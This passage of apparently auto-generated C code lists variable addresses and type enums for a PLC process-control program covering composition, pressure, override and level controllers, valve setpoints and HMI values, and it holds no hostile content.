BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, 